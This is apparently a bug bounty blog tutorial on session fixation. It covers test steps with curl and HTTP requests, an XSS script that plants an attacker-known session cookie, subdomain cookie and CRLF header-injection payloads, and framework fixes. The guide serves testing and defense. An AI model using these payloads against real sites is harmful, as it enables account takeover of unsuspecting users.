Session Fixation — Bug Bounty Guide 2026

By Devashish

Published on:

session fixation
🐛 Bug Bounty Series

Session Fixation —
Complete Bug Bounty Guide 2026

Session Fixation lets an attacker take over a victim’s account without knowing their password — by pre-planting a known session ID before the victim logs in. The fix is one line of code, but the impact is full account takeover.

🏆 OWASP A07:2021 🟠 High Severity 🎯 Intermediate 🔑 Session Management 💀 CWE-384

🔍 What is Session Fixation?

Session Fixation is an attack where the attacker forces the victim to use a session ID that the attacker already knows. After the victim authenticates using that pre-set session ID, the attacker can make authenticated requests using the same ID — gaining full access to the victim’s account without ever knowing their password.

Session Fixation diagram showing attacker pre-planting session ID before victim login to gain authenticated access without credentials

Session Fixation — attacker plants session ID → victim authenticates with it → attacker gains full access

💡 Core Concept

Session Fixation works because the server keeps using the same session ID before and after authentication. The attacker plants a session ID they know, waits for the victim to login using it, then walks in with that same ID. The fix is a single line of code: regenerate the session ID immediately after every login.

🔴 Critical — XSS + fixation chain = instant account takeover
🟠 High — URL/cookie fixation without lockout
🔵 Medium — Session ID in URL without fixation vector

Session Fixation — Attack Flow

🎯
1. Plant Session
Attacker gets/creates session ID they control
📤
2. Send to Victim
Victim receives URL or cookie with attacker’s session ID
🔐
3. Victim Logs In
Victim authenticates — server keeps the SAME session ID
👑
4. Attacker Wins
Attacker uses the known session ID — full account access

⚔️ Session Fixation vs Session Hijacking

🔑 The Critical Distinction

Session Hijacking: Attacker STEALS a session ID that the server already issued AFTER the victim authenticates. The attacker intercepts an existing valid token.

Session Fixation: Attacker PLANTS a session ID BEFORE the victim authenticates. The attacker already knows the session ID — they put it there themselves.

⚡ 6 Types of Session Fixation

🔗 URL Parameter Fixation
Inject session via URL: /login?PHPSESSID=attacker_id. PHP historically accepted GET session IDs by default.
HIGH
🍪 XSS Cookie Setting
XSS script sets document.cookie to attacker session ID. Requires missing HttpOnly flag.
CRITICAL
📨 CRLF Injection
Inject %0d%0a Set-Cookie: via CRLF in redirect URL to force session cookie on victim.
HIGH
🌐 Subdomain Cookie Fixation
Control sub.target.com → set cookie with domain=.target.com → affects all subdomains.
HIGH
🔄 No Regeneration on Login
Pre-auth session ID unchanged after login. Most common variant — server forgets to call regenerate().
HIGH
🔍 Referrer Leakage
Session ID exposed in URL leaks via Referrer header to external pages controlled by attacker.
MEDIUM

📊 Session Fixation — Quick Reference Table

FieldDetails
VulnerabilitySession Fixation
Also Known AsSession ID Fixation, Forced Session, Session Riding, CWE-384
OWASPA07:2021 — Identification and Authentication Failures
CWECWE-384: Session Fixation
CVE Score6.5 – 8.8
SeverityHigh (Critical when chained with XSS or subdomain takeover)
Root Causesession_regenerate_id(true) not called on login; app accepts session from URL; missing HttpOnly
Where to Check/login, OAuth callbacks, password reset, 2FA completion, logout endpoint
Best ToolsBurp Suite, curl, Python requests, browser DevTools
Practice LabsPortSwigger Authentication Labs, OWASP WebGoat, HackTheBox, TryHackMe
DifficultyIntermediate — requires understanding of session lifecycle
The One Fixsession_regenerate_id(true) or req.session.regenerate() immediately after every login
Related VulnsInsecure Logout, Authentication Bypass, Cross-Site Scripting (XSS)

🧪 The Critical Test — Session ID Before vs After Login

🚨 The Single Most Important Check

Session ID BEFORE login MUST NOT EQUAL session ID AFTER login. If they are the same, Session Fixation is confirmed. This is the foundation of every Session Fixation test.

The Core Test — Before vs After Login
# Step 1: Browse to login page → note session ID
GET /login HTTP/1.1
# Response: Set-Cookie: PHPSESSID=PRE_AUTH_ABC123; Path=/

# Step 2: Login with valid credentials (using that session)
POST /login HTTP/1.1
Cookie: PHPSESSID=PRE_AUTH_ABC123
email=test@test.com&password=correct_password

# Step 3: Check response Set-Cookie after login
# SECURE:     Set-Cookie: PHPSESSID=NEW_XYZ789  ← DIFFERENT = safe
# VULNERABLE: Set-Cookie: PHPSESSID=PRE_AUTH_ABC123  ← SAME = FIXATION!

# Step 4: Confirm — use PRE_AUTH session in new browser
GET /api/me HTTP/1.1
Cookie: PHPSESSID=PRE_AUTH_ABC123
# 200 OK with victim data = CONFIRMED Session Fixation

🧠 Manual Testing for Session Fixation

Phase 1 — Core Session Regeneration Test

Start Here — Test Every Auth Flow
1
Capture Pre-Authentication Session ID
Browse to login page → note session cookie in Burp HTTP History or DevTools. This is your S1 (pre-auth) value to compare later.
2
Login and Capture Post-Auth Session ID
Submit login with valid credentials. Capture the Set-Cookie in the login response. This is your S2 (post-auth) value.
3
Compare S1 vs S2 — The Critical Check
If S1 == S2 → Session Fixation confirmed. If S1 != S2 → session was properly regenerated. Document exact values for your bug report.
4
Verify Access With Pre-Auth Session S1
Open a new incognito window. Manually set cookie to S1. Call GET /api/me. If 200 OK with victim data → confirmed full Session Fixation.

Phase 2 — URL Parameter Fixation Test

URL-Based Session Fixation Test
# Test if app accepts session ID from URL query string
https://target.com/login?PHPSESSID=ATTACKER_CHOSEN_ID
https://target.com/login?sessionid=ATTACKER_CHOSEN_ID
https://target.com/login?session_id=ATTACKER_CHOSEN_ID
https://target.com/login?sess=ATTACKER_CHOSEN_ID

# Step 1: Visit above URL
# Step 2: Check response cookie — did server use attacker ID?
Set-Cookie: PHPSESSID=ATTACKER_CHOSEN_ID  ← app accepted it!

# Step 3: Login on that page with valid credentials
# Step 4: Check if session ID still matches ATTACKER_CHOSEN_ID
# Step 5: From new browser, access authenticated endpoint:
curl -H "Cookie: PHPSESSID=ATTACKER_CHOSEN_ID" https://target.com/api/me
# 200 OK = URL-based Session Fixation confirmed

Phase 3 — Cookie Security Flags Audit

Cookie Security Flags Check
# Check all session cookies for missing security flags
curl -I https://target.com/login

# Missing HttpOnly → XSS can read/set cookie → enables fixation chain
Set-Cookie: session=ABC123; Path=/  ← ALL flags missing!

# Partial (still vulnerable to MITM and CSRF)
Set-Cookie: session=ABC123; Path=/; HttpOnly

# Fully secure
Set-Cookie: session=ABC123; Path=/; HttpOnly; Secure; SameSite=Strict

# Also check via Browser DevTools:
# F12 → Application → Cookies → HttpOnly column should be ✓

Phase 4 — Test All Authentication Events

Test Session Regeneration on Every Auth Event
# 1. Standard login — must regenerate
Pre-login session S1 → Login → Post-login session S2 → S1 ≠ S2?

# 2. OAuth/SSO callback — must regenerate
GET /oauth/callback?code=AUTH_CODE
Session before redirect vs after callback — must differ

# 3. Password reset completion — must regenerate
POST /api/password/reset/confirm {token: "..."}
Session before reset vs after — must differ

# 4. 2FA completion — must regenerate
POST /api/auth/mfa/verify {otp: "123456"}
Session after password step vs after OTP — must differ

# 5. Logout — must invalidate old session
POST /api/logout
curl -H "Cookie: session=OLD_SESSION" https://target.com/api/me
# Must return 401 — old session should be dead

🤖 Tools for Session Fixation Testing

🔬 Burp Suite
HTTP History — compare Set-Cookie before and after login. Repeater to verify access with pre-auth session.
HTTP History → compare login request/response cookies
🌐 curl
Save cookies pre-login, login, compare. Test authenticated access with old session cookie file.
curl -c pre.txt URL ; curl -b pre.txt -c post.txt /login
🐍 Python
Automate pre-auth → login → compare → verify access cycle. Full PoC in one script.
requests.Session() → compare cookies before/after auth
🖥️ DevTools
Application → Cookies — visually inspect HttpOnly, Secure, SameSite flags and session values.
F12 → Application → Cookies → check all flags
🔍 OWASP ZAP
Active scan includes session fixation checks. Good for quick automated verification.
Active Scan → Session Management alerts
📡 Wireshark
Capture HTTP traffic — confirms session cookie transmission and MITM fixation vectors.
Filter: http.cookie contains "session"

🔥 Burp Suite — Session Fixation Guide

1
Compare Pre vs Post-Login Cookies in HTTP History
Browse → login page → HTTP History → click GET /login response → note Set-Cookie value. Then login → click POST /login response → note Set-Cookie. Same value = fixation.
2
Confirm Access With Pre-Auth Session in Repeater
Send GET /api/me to Repeater. Replace cookie with pre-auth session value. Click Send. 200 OK with user data = confirmed Session Fixation.
3
Test URL Parameter Fixation in Repeater
Craft: GET /login?PHPSESSID=ATTACKER123 → Send → check if response sets Cookie: PHPSESSID=ATTACKER123. Then login and repeat access test.
4
Audit Cookie Flags in Response Headers
Click any login response → Headers tab → find Set-Cookie line. Confirm HttpOnly, Secure, SameSite are present. Missing any = additional finding.

💣 Advanced Session Fixation Techniques

XSS + Session Fixation → Critical Chain

XSS Cookie Setting — Fixation Chain
# Requires: XSS vulnerability + HttpOnly NOT set on session cookie

# Inject this payload where XSS exists on target.com:
<script>
// Set attacker's known session ID as victim's session cookie
document.cookie = 'session=ATTACKER_KNOWN_ID; path=/; domain=.target.com';
// Redirect victim to login page
window.location = 'https://target.com/login';
</script>

# What happens:
# 1. Victim visits XSS page → script fires
# 2. Victim's session cookie is now ATTACKER_KNOWN_ID
# 3. Victim logs in using that cookie
# 4. Attacker requests /api/me with ATTACKER_KNOWN_ID → full access

# Prevention: Set HttpOnly on all session cookies
# HttpOnly prevents JavaScript from reading/writing the cookie

Subdomain Cookie Fixation

Subdomain Scope Attack
# If attacker controls any subdomain of target.com
# They can set cookies for the entire .target.com domain

# Attacker's server at: evil.target.com or old.target.com
# Response header from attacker subdomain:
Set-Cookie: session=ATTACKER_ID; Domain=.target.com; Path=/

# Victim visits evil.target.com (via phishing/redirect)
# Cookie is now set for ALL of target.com
# Victim logs in at target.com → attacker uses ATTACKER_ID

# Prevention: Set cookie Domain= to exact hostname, not wildcard
Set-Cookie: session=ID; Domain=target.com  ← no leading dot

CRLF Injection → Session Fixation

CRLF Header Injection Attack
# Find a redirect parameter that reflects in Location header
GET /redirect?url=https://safe.com

# Inject CRLF to add Set-Cookie header:
GET /redirect?url=https://safe.com%0d%0aSet-Cookie:+session=ATTACKER_ID

# Vulnerable server responds:
HTTP/1.1 302 Found
Location: https://safe.com
Set-Cookie: session=ATTACKER_ID  ← injected via CRLF!

# Test: add %0d%0a (URL-encoded CRLF) + Set-Cookie to any redirect URL
# Fix: sanitize redirect parameters; reject %0d and %0a characters

🛠️ Framework Secure Fix Reference

FrameworkVulnerable PatternSecure Fix
PHPsession_start(); // no regenerationsession_regenerate_id(true); // after login
Node/Expressreq.session.userId = user.id;req.session.regenerate(cb); // then set user
DjangoVerify SESSION_COOKIE_SECURE = Trueauth.login(request, user); // auto-regenerates
Spring BootNo session config → default reusesession-fixation-protection: new-session
LaravelAuth::login($user);session()->regenerate(true); // after login()
Railssession[:user_id] = user.id;reset_session; session[:user_id] = user.id;
Flasksession[‘user’] = user_id;session.clear(); session[‘user’] = user_id;

🔗 Real Session Fixation Bug Chains

🔗
URL Fixation via Phishing → Account Takeover
Send victim https://target.com/login?PHPSESSID=attacker_id → victim clicks and logs in → attacker uses attacker_id → full account access without credentials
HIGH 💰
🎯
XSS + Session Fixation → Instant Critical
XSS payload sets document.cookie=’session=attacker_id’ → victim is redirected to login → victim authenticates → attacker gains full session access
CRITICAL 💰
👑
Fix Admin Session → Admin Panel → RCE
Social engineer admin to visit phishing link with fixed session ID → admin logs in → attacker accesses admin panel → file upload → Remote Code Execution
CRITICAL 💰
🌐
Subdomain Takeover + Cookie Fixation
Attacker controls old.target.com → serves response with Domain=.target.com cookie → victim visits subdomain → cookie fixed → victim logs in → takeover
HIGH 💰
📬
CRLF Injection → Session Cookie Forced
CRLF in redirect URL → Set-Cookie header injected → victim follows redirect → session fixed → victim logs in → attacker uses known session
HIGH 💰
🔄
No Logout Regeneration → Persistent Access
Fixed session S1 → victim logs in → victim logs out → S1 still valid (no server-side invalidation) → attacker uses S1 even after victim logged out
HIGH 💰

🛡️ Defense Against Session Fixation

✅ The One Fix That Prevents Everything

Regenerate the session ID immediately after every authentication event. This single action makes every session fixation attack useless — the attacker’s planted session ID is invalidated the moment the victim logs in.

Secure Login Implementation
// PHP — The most common fix
function loginUser($email, $password) {
    $user = authenticate($email, $password);
    if ($user) {
        session_regenerate_id(true);  // ← THE FIX — true deletes old session
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['role']    = $user['role'];
        return true;
    }
    return false;
}

// Node.js / Express
app.post('/login', async (req, res) => {
    const user = await authenticate(req.body.email, req.body.password);
    if (user) {
        req.session.regenerate((err) => {  // ← THE FIX
            req.session.userId = user.id;
            res.json({ success: true });
        });
    }
});

// Secure cookie configuration (all frameworks)
Set-Cookie: session=ID; HttpOnly; Secure; SameSite=Strict; Path=/
📋 Security Checklist

☑ Regenerate session ID immediately after every successful login
☑ Regenerate on OAuth callback, password reset, and 2FA completion
☑ NEVER accept session IDs from URL GET parameters
☑ Set HttpOnly flag on all session cookies — prevents XSS fixation
☑ Set Secure flag — prevents transmission over HTTP
☑ Set SameSite=Strict — prevents CSRF-based session fixation
☑ Invalidate old session server-side on logout
☑ Set cookie Domain= to exact hostname (not .target.com wildcard)
☑ Implement idle session timeout (15–30 min for sensitive apps)

🧠 Key Takeaways — Session Fixation

  • Session Fixation = attacker plants a known session ID BEFORE login; fixation is distinct from hijacking (which steals after login)
  • The golden test: session ID BEFORE login must NOT equal session ID AFTER login
  • Test ALL authentication events — login, OAuth, password reset, 2FA completion, logout
  • Test if app accepts session ID from URL parameters (?PHPSESSID=, ?sessionid=)
  • Missing HttpOnly flag enables XSS-based fixation — always check cookie flags
  • Missing Secure flag enables MITM fixation — cookie sent over HTTP
  • XSS + Session Fixation = Critical chain — highest impact, test this combination
  • Cookie domain=.target.com (wildcard) is dangerous if subdomains can be compromised
  • The fix is one line of code — session_regenerate_id(true) — but impact without it is High
  • Three-step PoC: (1) pre-auth session S1, (2) login shows S1 in post-auth response, (3) S1 grants authenticated access in separate browser
💰 Real Bounty — $6,500

A researcher found that a major e-commerce platform reused session IDs across login. Pre-auth session S1 sent to victim via phishing link → victim logged in → attacker used S1 → full account access including saved payment methods and order history. Fix: one call to session_regenerate_id(true). Bounty paid: $6,500.

💬 Found this Session Fixation guide helpful? Share it!

Related Posts

Weak Password Policy — Bug Bounty Guide 2026

BOPLA – Broken Object Property Level Authorization

Insecure Logout — Bug Bounty Guide 2026

Devashish

I’m Devashish, a Bug Bounty Researcher and Cyber Security Analyst sharing practical insights — from beginner payloads to advanced exploitation chains — explained in a simple, clear way. Beyond cybersecurity, I’m passionate about technology, gadgets, and topics like health, cricket, politics, and people.

Leave a comment